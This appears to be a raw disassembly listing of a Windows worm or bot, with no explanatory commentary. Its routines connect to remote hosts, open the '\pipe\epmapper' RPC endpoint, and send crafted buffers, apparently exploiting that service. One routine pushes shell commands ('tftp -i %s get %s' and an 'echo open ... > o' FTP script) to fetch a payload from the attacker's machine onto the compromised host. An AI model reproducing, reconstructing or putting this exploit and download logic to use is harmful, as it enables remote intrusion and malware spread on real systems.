lea eax, [ebp+var_68D8]
push offset dword_424E5C
push eax
call sub_4155D0
lea eax, [ebp+var_376C]
push 0A5Eh
push eax
lea eax, [ebp+var_6868]
push eax
call sub_4155D0
push 84h
lea eax, [ebp+var_5DA4]
push offset dword_424ED0
push eax
call sub_4155D0
add esp, 3Ch
lea eax, [ebp+var_89B0]
push 0
push 10FCh
push eax
push [ebp+arg_BC]
call esi
cmp eax, 0FFFFFFFFh
jz loc_402C10
push 0
lea eax, [ebp+var_740]
push ebx
push eax
push [ebp+arg_BC]
call edi
push 0
push 0FDCh
lea eax, [ebp+var_68D8]
jmp short loc_402D9B
; ---------------------------------------------------------------------------
loc_402D43: ; CODE XREF: sub_402988+306j
push 7Ch
lea eax, [ebp+var_2CA4]
push offset dword_424CDC
push eax
call sub_4155D0
lea eax, [ebp+var_F10]
push 7D0h
push eax
lea eax, [ebp+var_2C28]
push eax
call sub_4155D0
push 90h
lea eax, [ebp+var_2458]
push offset off_424D5C
push eax
call sub_4155D0
add esp, 24h
and [ebp+var_1FAD], 0
lea eax, [ebp+var_2CA4]
push 0
push 0CF8h
loc_402D9B: ; CODE XREF: sub_402988+3B9j
push eax
push [ebp+arg_BC]
call esi
cmp eax, 0FFFFFFFFh
jz loc_402C10
push 12Ch
call dword_421060
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40283D
add esp, 0BCh
test al, al
setnz al
loc_402DD8: ; CODE XREF: sub_402988+28Aj
pop edi
pop esi
pop ebx
leave
retn
sub_402988 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402DDD proc near ; CODE XREF: .nsp0:00403E5Cp
var_858 = byte ptr -858h
var_814 = byte ptr -814h
var_218 = byte ptr -218h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp+var_18]
push edi
push eax
mov [ebp+var_8], edi
call sub_415570
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_18], 2
push eax
call dword_4211D8
push [ebp+arg_A0]
mov [ebp+var_14], eax
call dword_4211DC
push 6
push 1
push 2
mov [ebp+var_16], ax
call dword_4211E0
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+var_4], esi
jz loc_402EDA
lea eax, [ebp+var_18]
push 10h
push eax
push esi
call dword_4211E4
cmp eax, 0FFFFFFFFh
jz loc_402EDA
mov ebx, dword_4211EC
push edi
push 89h
push offset dword_424950
push esi
call ebx
cmp eax, 0FFFFFFFFh
jz short loc_402EDA
push edi
mov edi, 640h
lea eax, [ebp+var_858]
push edi
push eax
push esi
mov esi, dword_4211E8
call esi
push 0
push 0A8h
push offset dword_4249DC
push [ebp+var_4]
call ebx
cmp eax, 0FFFFFFFFh
jz short loc_402EDA
push 0
lea eax, [ebp+var_858]
push edi
push eax
push [ebp+var_4]
call esi
push 0
push 0DEh
push offset dword_424A88
push [ebp+var_4]
call ebx
cmp eax, 0FFFFFFFFh
jz short loc_402EDA
mov ebx, [ebp+var_4]
push 0
lea eax, [ebp+var_858]
push edi
push eax
push ebx
call esi
movsx eax, [ebp+var_814]
sub eax, 30h
jz short loc_402EE5
dec eax
jz short loc_402EE1
loc_402EDA: ; CODE XREF: sub_402DDD+57j
; sub_402DDD+6Dj ...
xor eax, eax
jmp loc_402F7F
; ---------------------------------------------------------------------------
loc_402EE1: ; CODE XREF: sub_402DDD+FBj
push 0
jmp short loc_402F09
; ---------------------------------------------------------------------------
loc_402EE5: ; CODE XREF: sub_402DDD+F8j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402988
add esp, 0C4h
test al, al
jnz short loc_402F29
push 1
loc_402F09: ; CODE XREF: sub_402DDD+106j
push ebx
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402988
add esp, 0C4h
test al, al
jz short loc_402F30
loc_402F29: ; CODE XREF: sub_402DDD+128j
mov [ebp+var_8], 1
loc_402F30: ; CODE XREF: sub_402DDD+14Aj
push ebx
call dword_4211F0
cmp [ebp+var_8], 0
jz short loc_402F7C
push 0
lea eax, [ebp+var_218]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412D4C
lea eax, [ebp+var_218]
push eax
call sub_40B16D
mov eax, [ebp+arg_A8]
add esp, 18h
imul eax, 3Ch
inc dword_427340[eax]
lea eax, dword_427340[eax]
loc_402F7C: ; CODE XREF: sub_402DDD+15Ej
push 1
pop eax
loc_402F7F: ; CODE XREF: sub_402DDD+FFj
pop edi
pop esi
pop ebx
leave
retn
sub_402DDD endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
lea esi, [esp+10h]
sub esp, 0BCh
mov dword ptr [esp+16Ch], 87h
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4033CB
push 2Fh
lea esi, [esp+0D0h]
pop ecx
mov dword ptr [esp+16Ch], 1BDh
mov edi, esp
mov ebx, eax
rep movsd
call sub_403C8B
add esp, 0BCh
test ebx, ebx
jnz short loc_402FD6
test eax, eax
jz short loc_402FD9
loc_402FD6: ; CODE XREF: .nsp0:00402FD0j
push 1
pop eax
loc_402FD9: ; CODE XREF: .nsp0:00402FD4j
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402FDD proc near ; CODE XREF: sub_4033CB+28p
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_4255FC
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_4255F4 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, byte_438FDC
push 45h
mov [ebp+var_124], al
pop ecx
xor eax, eax
lea edi, [ebp+var_123]
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call dword_421064
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415D9F
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415D9F
mov esi, [ebp+arg_4]
lea eax, [ebp+var_354]
add esp, 10h
mov [esi+14h], eax
mov eax, offset dword_438FD8
push edi
push eax
push eax
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+1Ch], edi
call dword_43A458
cmp eax, 5
mov ebx, 4C3h
jz short loc_4030A1
cmp eax, ebx
jnz short loc_4030AB
loc_4030A1: ; CODE XREF: sub_402FDD+BEj
push edi
push edi
push edi
push esi
call dword_43A458
loc_4030AB: ; CODE XREF: sub_402FDD+C2j
cmp eax, 5
jz short loc_4030B9
cmp eax, ebx
jz short loc_4030B9
push 1
pop eax
jmp short loc_4030BB
; ---------------------------------------------------------------------------
loc_4030B9: ; CODE XREF: sub_402FDD+D1j
; sub_402FDD+D5j
xor eax, eax
loc_4030BB: ; CODE XREF: sub_402FDD+DAj
pop edi
pop esi
pop ebx
leave
retn
sub_402FDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4030C0 proc near ; CODE XREF: sub_4033CB+7Ap
; sub_4033CB+15Ap
var_354 = byte ptr -354h
var_34E = byte ptr -34Eh
var_124 = byte ptr -124h
var_123 = byte ptr -123h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 354h
push esi
push edi
mov esi, offset off_4255FC
lea edi, [ebp+var_C]
movsd
movsd
movsd
mov esi, offset asc_4255F4 ; "\\\\"
lea edi, [ebp+var_354]
movsd
movsw
mov ecx, 8Ah
xor eax, eax
lea edi, [ebp+var_34E]
push 45h
rep stosd
stosw
mov al, byte_438FDC
pop ecx
mov [ebp+var_124], al
xor eax, eax
lea edi, [ebp+var_123]
push 0FFh
rep stosd
stosw
stosb
lea eax, [ebp+var_124]
xor esi, esi
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
push esi
push esi
call dword_421064
lea eax, [ebp+var_124]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415D9F
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_354]
push eax
call sub_415D9F
add esp, 10h
loc_403151: ; CODE XREF: sub_4030C0+AFj
push esi
lea eax, [ebp+var_354]
push esi
push eax
call dword_43A2F8
test eax, eax
jz short loc_403171
push 7D0h
call dword_421060
jmp short loc_403151
; ---------------------------------------------------------------------------
loc_403171: ; CODE XREF: sub_4030C0+A2j
push 1
pop eax
pop edi
pop esi
leave
retn
sub_4030C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403178 proc near ; CODE XREF: sub_4033CB+A9p
; sub_4033CB+1E7p
var_3004 = byte ptr -3004h
var_2004 = byte ptr -2004h
var_1FE0 = byte ptr -1FE0h
var_1FD4 = byte ptr -1FD4h
var_1F2D = byte ptr -1F2Dh
var_1004 = byte ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF4 = dword ptr -0FF4h
var_F84 = dword ptr -0F84h
var_F80 = dword ptr -0F80h
var_F50 = dword ptr -0F50h
var_F4C = dword ptr -0F4Ch
var_F34 = dword ptr -0F34h
var_E78 = dword ptr -0E78h
var_CA4 = dword ptr -0CA4h
var_C9C = dword ptr -0C9Ch
var_C94 = byte ptr -0C94h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
mov eax, 3004h
call sub_415D70
push esi
push edi
push offset byte_42C1FC
mov esi, 0A7h
push [ebp+arg_0]
mov [ebp+var_4], esi
call sub_40A171
pop ecx
push eax
lea eax, [ebp+var_3004]
push 1000h
push eax
call sub_414E04
mov edi, eax
add esp, 10h
test edi, edi
jz loc_4033C7
push ebx
mov ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
push 30h
lea eax, [ebp+var_2004]
push ebx
push eax
call sub_4155D0
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_415570
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+var_1F2D]
push eax
call sub_4155D0
add esp, 24h
lea esi, [edi+0D7h]
loc_4031FD: ; CODE XREF: sub_403178+D3j
mov eax, esi
push 10h
cdq
pop ecx
idiv ecx
cmp edx, 0Ch
jz short loc_40324D
mov esi, [ebp+var_4]
push 30h
lea eax, [ebp+var_2004]
inc esi
push ebx
push eax
mov [ebp+var_4], esi
call sub_4155D0
push esi
lea eax, [ebp+var_1FD4]
push 0FFFFFF90h
push eax
call sub_415570
lea eax, [ebp+var_3004]
push edi
push eax
lea eax, [ebp+esi+var_1FD4]
push eax
call sub_4155D0
add esp, 24h
lea esi, [esi+edi+30h]
jmp short loc_4031FD
; ---------------------------------------------------------------------------
loc_40324D: ; CODE XREF: sub_403178+90j
cmp [ebp+arg_C4], 0
jz short loc_403268
cmp [ebp+arg_C0], 3
jz short loc_403271
cmp [ebp+arg_C0], 0
jmp short loc_40326F
; ---------------------------------------------------------------------------
loc_403268: ; CODE XREF: sub_403178+DCj
cmp [ebp+arg_C0], 3
loc_40326F: ; CODE XREF: sub_403178+EEj
jnz short loc_40327A
loc_403271: ; CODE XREF: sub_403178+E5j
push 4
push offset dword_4255F0
jmp short loc_403281
; ---------------------------------------------------------------------------
loc_40327A: ; CODE XREF: sub_403178:loc_40326Fj
push 4
push offset dword_4255EC
loc_403281: ; CODE XREF: sub_403178+100j
lea eax, [ebp+var_1FE0]
push eax
call sub_4155D0
add esp, 0Ch
lea eax, [ebp+var_1004]
push 360h
push offset dword_425124
push eax
call sub_4155D0
push 10h
lea eax, [ebp+var_CA4]
push offset dword_425488
push eax
call sub_4155D0
lea eax, [ebp+var_2004]
push esi
push eax
lea eax, [ebp+var_C94]
push eax
call sub_4155D0
lea edi, [esi+370h]
push 3Ch
push offset off_42549C
lea eax, [ebp+edi+var_1004]
push eax
call sub_4155D0
add edi, 3Ch
push 30h
push offset dword_4254DC
lea eax, [ebp+edi+var_1004]
push eax
call sub_4155D0
mov eax, esi
add edi, 30h
cdq
sub eax, edx
sar eax, 1
add [ebp+var_CA4], eax
add [ebp+var_C9C], eax
mov eax, [ebp+var_FFC]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FFC], eax
mov eax, [ebp+var_FF4]
lea eax, [eax+esi-0Ch]
mov [ebp+var_FF4], eax
mov eax, [ebp+var_F84]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F84], eax
mov eax, [ebp+var_F80]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F80], eax
mov eax, [ebp+var_F50]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F50], eax
mov eax, [ebp+var_F4C]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F4C], eax
mov eax, [ebp+var_F34]
lea eax, [eax+esi-0Ch]
mov [ebp+var_F34], eax
mov eax, [ebp+var_E78]
lea eax, [eax+esi-0Ch]
lea esi, [edi+1]
push esi
mov [ebp+var_E78], eax
call sub_415DC9
add esp, 40h
mov ebx, eax
push esi
push 0
push ebx
call sub_415570
lea eax, [ebp+var_1004]
push edi
push eax
push ebx
call sub_4155D0
mov eax, [ebp+arg_BC]
add esp, 18h
mov [eax], edi
mov eax, ebx
pop ebx
loc_4033C7: ; CODE XREF: sub_403178+3Ej
pop edi
pop esi
leave
retn
sub_403178 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4033CB proc near ; CODE XREF: .nsp0:00402FA3p
; sub_40778B+1E6p
; DATA XREF: ...
var_1338 = byte ptr -1338h
var_338 = byte ptr -338h
var_138 = byte ptr -138h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
arg_B4 = dword ptr 0BCh
push ebp
mov ebp, esp
mov eax, 1338h
call sub_415D70
cmp [ebp+arg_A0], 1BDh
push ebx
push esi
push edi
jnz loc_403539
lea eax, [ebp+var_34]
push eax
lea eax, [ebp+arg_4]
push eax
call sub_402FDD
pop ecx
test eax, eax
pop ecx
jz loc_403649
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_138]
push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper"
push eax
call sub_4154E7
add esp, 0Ch
xor ebx, ebx
lea eax, [ebp+var_138]
push ebx
push 80h
push 3
push ebx
push 1
push 0C0000000h
push eax
call dword_421078
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_403450
loc_403441: ; CODE XREF: sub_4033CB+126j
lea eax, [ebp+arg_4]
push eax
call sub_4030C0
pop ecx
jmp loc_403649
; ---------------------------------------------------------------------------
loc_403450: ; CODE XREF: sub_4033CB+74j
lea eax, [ebp+arg_4]
push 2
push eax
call sub_412B98
pop ecx
lea esi, [ebp+arg_0]
pop ecx
push 1
push eax
lea eax, [ebp+var_10]
push eax
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403178
add esp, 0C8h
cmp eax, ebx
mov [ebp+var_8], eax
jz short loc_4034E8
mov edi, 186A0h
push edi
call sub_415DC9
mov esi, eax
push edi
push ebx
push esi
call sub_415570
add esp, 10h
lea eax, [ebp+var_C]
mov edi, 2710h
push ebx
push eax
push edi
push esi
push 48h
push offset dword_4250D8
push [ebp+var_4]
call dword_421074
cmp byte ptr [esi+2], 0Ch
jnz short loc_4034D8
lea eax, [ebp+var_14]
push ebx
push eax
push [ebp+var_10]
push [ebp+var_8]
push [ebp+var_4]
call dword_421070
test eax, eax
jnz short loc_4034F6
loc_4034D8: ; CODE XREF: sub_4033CB+F3j
push esi
call sub_415E3D
push [ebp+var_8]
call sub_415E3D
pop ecx
pop ecx
loc_4034E8: ; CODE XREF: sub_4033CB+B9j
push [ebp+var_4]
call dword_42106C
jmp loc_403441
; ---------------------------------------------------------------------------
loc_4034F6: ; CODE XREF: sub_4033CB+10Bj
lea eax, [ebp+var_C]
push ebx
push eax
push edi
push esi
push [ebp+var_4]
call dword_421068
push [ebp+var_8]
mov edi, eax
call sub_415E3D
push esi
call sub_415E3D
pop ecx
pop ecx
push [ebp+var_4]
call dword_42106C
lea eax, [ebp+arg_4]
push eax
call sub_4030C0
cmp edi, 1
pop ecx
jnz loc_40365A
jmp loc_403649
; ---------------------------------------------------------------------------
loc_403539: ; CODE XREF: sub_4033CB+1Aj
lea eax, [ebp+arg_4]
push 1
push eax
call sub_412B98
mov esi, eax
pop ecx
cmp esi, 1
pop ecx
jz loc_403649
xor ebx, ebx
push ebx
push 1
push 2
call dword_43A438
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_403649
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+arg_A0]
call dword_43A3B8
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call dword_43A3F8
mov [ebp+var_20], eax
push ebx
lea eax, [ebp+var_C]
push esi
push eax
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403178
mov esi, eax
add esp, 0C8h
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_4035CB
push [ebp+var_4]
jmp short loc_403643
; ---------------------------------------------------------------------------
loc_4035CB: ; CODE XREF: sub_4033CB+1F9j
mov edi, [ebp+var_4]
lea eax, [ebp+var_24]
push 10h
push eax
push edi
call dword_43A360
cmp eax, 0FFFFFFFFh
jnz short loc_4035E3
loc_4035E0: ; CODE XREF: sub_4033CB+22Aj
push esi
jmp short loc_40363C
; ---------------------------------------------------------------------------
loc_4035E3: ; CODE XREF: sub_4033CB+213j
push ebx
push 48h
push offset dword_4250D8
push edi
call dword_43A408
cmp eax, 0FFFFFFFFh
jz short loc_4035E0
mov esi, 1000h
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_43A3D0
push ebx
push [ebp+var_C]
push [ebp+var_8]
push edi
call dword_43A408
cmp eax, 0FFFFFFFFh
jnz short loc_403624
push [ebp+var_8]
jmp short loc_40363C
; ---------------------------------------------------------------------------
loc_403624: ; CODE XREF: sub_4033CB+252j
push ebx
lea eax, [ebp+var_1338]
push esi
push eax
push edi
call dword_43A3D0
push [ebp+var_8]
cmp eax, 0FFFFFFFFh
jnz short loc_40364D
loc_40363C: ; CODE XREF: sub_4033CB+216j
; sub_4033CB+257j
call sub_415E3D
pop ecx
push edi
loc_403643: ; CODE XREF: sub_4033CB+1FEj
call dword_43A450
loc_403649: ; CODE XREF: sub_4033CB+31j
; sub_4033CB+80j ...
xor eax, eax
jmp short loc_4036CA
; ---------------------------------------------------------------------------
loc_40364D: ; CODE XREF: sub_4033CB+26Fj
call sub_415E3D
pop ecx
push edi
call dword_43A450
loc_40365A: ; CODE XREF: sub_4033CB+163j
xor esi, esi
loc_40365C: ; CODE XREF: sub_4033CB+2B1j
lea eax, [ebp+var_338]
push eax
call sub_40B24D
test eax, eax
pop ecx
jnz short loc_403680
push 1388h
call dword_421060
inc esi
cmp esi, 6
jl short loc_40365C
jmp short loc_4036C7
; ---------------------------------------------------------------------------
loc_403680: ; CODE XREF: sub_4033CB+2A0j
cmp [ebp+arg_B4], ebx
jnz short loc_4036A5
push ebx
lea eax, [ebp+var_338]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_4036A5: ; CODE XREF: sub_4033CB+2BBj
lea eax, [ebp+var_338]
push eax
call sub_40B16D
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
inc dword_427340[eax]
lea eax, dword_427340[eax]
loc_4036C7: ; CODE XREF: sub_4033CB+2B3j
push 1
pop eax
loc_4036CA: ; CODE XREF: sub_4033CB+280j
pop edi
pop esi
pop ebx
leave
retn
sub_4033CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4036CF proc near ; DATA XREF: .nsp0:00423004o
jmp $+5
sub_4036CF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4036D4 proc near
push 0BB80h
push 76Ch
call sub_414098
pop ecx
mov dword_438FE0, eax
pop ecx
retn
sub_4036D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4036EB proc near ; CODE XREF: sub_40384C+42Ap
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_43A3F8
mov [ebp+var_C], eax
mov ax, word ptr dword_438FE0
push eax
call dword_43A3B8
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_43A438
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403825
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43A360
cmp eax, 0FFFFFFFFh
jz loc_403825
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43A3D0
mov esi, offset byte_42C1FC
push esi
push esi
push [ebp+arg_0]
call sub_40A171
pop ecx
mov edi, 190h
push eax
push offset aTftpISGetS ; "tftp -i %s get %s\r\n"
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_415A6A
add esp, 18h
push esi
push esi
push dword_438FFC
push [ebp+arg_0]
call sub_40A171
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_415A6A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43A408
cmp eax, 0FFFFFFFFh
jz short loc_403825
push 1F4h
call dword_421060
push esi
push offset dword_425050
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_415A6A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43A408
cmp eax, 0FFFFFFFFh
jnz short loc_403829
loc_403825: ; CODE XREF: sub_4036EB+51j
; sub_4036EB+67j ...
xor al, al
jmp short loc_403847
; ---------------------------------------------------------------------------
loc_403829: ; CODE XREF: sub_4036EB+138j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43A3D0
push ebx
call dword_43A450
mov al, 1
loc_403847: ; CODE XREF: sub_4036EB+13Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4036EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40384C proc near ; CODE XREF: sub_403C8B+125p
; sub_403C8B+147p
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
var_1CC4 = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
var_3C = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call sub_415D70
mov eax, dword_4250D0
push ebx
mov [ebp+var_10], eax
mov eax, dword_4250D4
mov [ebp+var_C], eax
push esi
lea eax, [ebp+arg_4]
push edi
push eax
lea eax, [ebp+var_3C]
push offset loc_4250C4
push eax
call sub_4154E7
add esp, 0Ch
xor ebx, ebx
xor esi, esi
lea eax, [ebp+var_103]
loc_40388B: ; CODE XREF: sub_40384C+4Ej
mov cl, [ebp+esi+var_3C]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, 28h
jl short loc_40388B
push 60h
lea eax, [ebp+var_B4]
push offset dword_425B10
push eax
call sub_4155D0
lea eax, [ebp+var_3C]
push eax
call sub_415CF0
shl eax, 1
push eax
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_84]
push eax
call sub_4155D0
add esp, 1Ch
lea eax, [ebp+var_3C]
push 9
push (offset aC_0+3)
push eax
call sub_415CF0
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax
call sub_4155D0
lea eax, [ebp+var_3C]
push eax
call sub_415CF0
add al, 1Ah
push 1
shl al, 1
mov [ebp+var_1], al
lea eax, [ebp+var_1]
push eax
lea eax, [ebp+var_B1]
push eax
call sub_4155D0
lea eax, [ebp+var_3C]
push eax
call sub_415CF0
shl al, 1
add al, 9
push 1
mov [ebp+var_2], al
lea eax, [ebp+var_2]
push eax
lea eax, [ebp+var_87]
push eax
call sub_4155D0
mov ax, word ptr dword_438FE0
add esp, 2Ch
push eax
call dword_43A3B8
xor eax, 9999h
push 2
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax
push offset dword_425810
call sub_4155D0
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_403A48
mov edi, 0DACh
lea eax, [ebp+var_1CC4]
push edi
push 90h
push eax
call sub_415570
mov eax, [ebp+arg_C0]
push 4
imul eax, 3Ch
lea eax, dword_425F38[eax]
mov [ebp+var_14], eax
push eax
lea eax, [ebp+var_14E0]
push eax
call sub_4155D0
mov esi, offset loc_425760
push esi
call sub_415CF0
push eax
lea eax, [ebp+var_14D0]
push esi
push eax
call sub_4155D0
push 4
lea eax, [ebp+var_11AC]
push offset loc_4250BC
push eax
call sub_4155D0
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_4155D0
add esp, 40h
push esi
call sub_415CF0
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_4155D0
add esp, 10h
xor esi, esi
lea eax, [ebp+var_4803]
loc_403A01: ; CODE XREF: sub_40384C+1C6j
mov cl, [ebp+esi+var_1CC4]
inc esi
mov [eax-1], cl
mov [eax], bl
inc eax
inc eax
cmp esi, edi
jl short loc_403A01
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_415570
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_415570
add esp, 18h
jmp short loc_403A9F
; ---------------------------------------------------------------------------
loc_403A48: ; CODE XREF: sub_40384C+118j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_415570
mov esi, offset loc_425760
push esi
call sub_415CF0
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_4155D0
lea eax, [ebp+var_10]
push eax
call sub_415CF0
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_4155D0
mov eax, dword_425F38
add esp, 2Ch
mov [ebp+var_768], eax
loc_403A9F: ; CODE XREF: sub_40384C+1FAj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_415570
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_43A408
cmp eax, 0FFFFFFFFh
jnz short loc_403ADE
loc_403AD7: ; CODE XREF: sub_40384C+2B9j
; sub_40384C+2E0j ...
xor al, al
jmp loc_403C86
; ---------------------------------------------------------------------------
loc_403ADE: ; CODE XREF: sub_40384C+289j
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43A3D0
push ebx
push 68h
push offset dword_425B74
push edi
call dword_43A408
